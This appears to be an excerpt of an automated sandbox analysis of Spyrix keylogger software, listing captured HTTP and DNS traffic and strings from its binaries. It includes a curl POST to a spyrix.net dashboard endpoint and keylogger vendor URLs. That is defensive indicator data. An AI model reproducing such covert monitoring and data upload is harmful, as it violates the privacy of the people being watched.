Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Modal-04ffda94.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Input-34212571.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-08b2a987.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-7e7c447a.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-1178777c.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-5393c481.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Nunito-Bold-765bfff4.woff2 HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: qrl.exe	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>3[
Source: qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>3[
Source: qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>3[
Source: qrl.exe, 0000004A.00000002.2767609599.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 0000004A.00000002.2767609599.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>3[

Source: spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SearchID="http://www.myspace.com/search/" equals www.myspace.com (Myspace)
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myspace.com/search/ equals www.myspace.com (Myspace)
Source: spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: msgID="http://www.myspace.com/my/mail" equals www.myspace.com (Myspace)

Source: global traffic	DNS traffic detected: DNS query: filedn.com
Source: global traffic	DNS traffic detected: DNS query: cdnbaynet.com
Source: global traffic	DNS traffic detected: DNS query: swtb-download.spyrix-sfk.com
Source: global traffic	DNS traffic detected: DNS query: dashboard.spyrix.com
Source: global traffic	DNS traffic detected: DNS query: cdn.cdndownload.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: spyrix.net

Source: unknown

HTTP traffic detected: POST /dashboard/prg-actions HTTP/1.1Host: spyrix.netUser-Agent: curl/7.64.0Accept: */*Content-Length: 425Content-Type: application/x-www-form-urlencoded

Source: spkl.exe, 00000035.00000002.2980946676.0000000006BBA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: HTTPS://DASHBOARD.SPYRIX.COM/
Source: spkl.exe, 00000035.00000002.2971872040.000000000456C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: HTTPS://SPYRIX.NET/DASHBOARD/PRG-ACTIONS
Source: qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://.css
Source: qrl.exe, qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://.jpg
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ca.crl0:
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/l3.crl0a
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45codesignca2020.crl0
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: svchost.exe, 00000007.00000002.2932001410.000002BE17600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000007.00000003.1705313181.000002BE17448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000007.00000003.1705313181.000002BE17448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000007.00000003.1705313181.000002BE17448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000007.00000003.1705313181.000002BE17448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000007.00000003.1705313181.000002BE17448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000007.00000003.1705313181.000002BE17448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000007.00000003.1705313181.000002BE1747D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000007.00000003.1705313181.000002BE17537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: [space]= .exe, 00000006.00000002.1984705669.0000000002DE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filedn.com
Source: [space]= .exe, 00000006.00000002.1984705669.0000000002DE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filedn.comd
Source: qrl.exe, qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004A.00000002.2767609599.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://https://-.://%s%s%s/%s
Source: spkl.exe, 00000035.00000003.2555270269.00000000044E1000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2933829318.0000000000929000.00000040.00000001.01000000.00000014.sdmp, spmm.exe, 00000049.00000000.2715567872.00000000005EA000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://neftali.clubdelphi.com/
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.certum.pl0.
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45codesignca20200V
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rc.qzone.qq.com/qzonesoso/?search
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/l3.cer0
Source: [space]= .exe, 00000006.00000002.1984705669.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45codesignca2020.crt0=
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: spkl.exe	String found in binary or memory: http://spyrix.com/manual.php
Source: spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://user.qzone.qq.com
Source: spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://vk.com/search
Source: spkl.exe, 00000035.00000002.2980946676.0000000006BBA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://vk.com/searchecp
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.actualkeylogger.com/buynow.html
Source: spkl.exe	String found in binary or memory: http://www.actualkeylogger.com/help.html
Source: spkl.exe	String found in binary or memory: http://www.actualkeylogger.com/help.html#registrate
Source: spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.actualkeylogger.com/help.html#registratehttp://www.spyrix.com/manual.php#registrateU
